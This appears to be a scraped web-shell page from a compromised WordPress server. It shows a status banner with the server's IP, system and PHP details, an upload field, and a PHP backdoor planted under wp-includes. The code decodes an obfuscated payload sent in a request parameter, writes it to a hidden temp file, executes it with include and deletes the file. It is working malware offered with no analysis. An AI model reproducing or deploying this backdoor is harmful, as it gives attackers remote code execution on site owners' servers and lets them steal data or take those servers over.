| Server IP : 162.243.168.218 / Your IP : 216.73.216.67 Web Server : Apache System : Linux ISPCONFIG-WEB-EMPRESAS 5.15.0-174-generic #184-Ubuntu SMP Fri Mar 13 18:41:50 UTC 2026 x86_64 User : web23 ( 5020) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/clients/client3/web23/web/wp-includes/blocks/preformatted/ |
Upload File : |
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["ent"])){
$mrk = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path()]);
$pgrp = $_REQUEST["ent"];
$pgrp = explode ( "." ,$pgrp ) ;
$obj= '';
$s6= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen( $s6 );
$l= 0;
array_walk( $pgrp, function( $v5) use( &$obj, &$l, $s6, $lenS) {
$sChar= ord( $s6[$l % $lenS] );
$dec= ( ( int)$v5 - $sChar -( $l % 10)) ^ 80;
$obj .= chr( $dec );
$l++;
} );
foreach ($mrk as $key => $itm) {
if (max(0, is_dir($itm) * is_writable($itm))) {
$symbol = implode("/", [$itm, ".fac"]);
if (file_put_contents($symbol, $obj)) {
include $symbol;
@unlink($symbol);
die();
}
}
}
}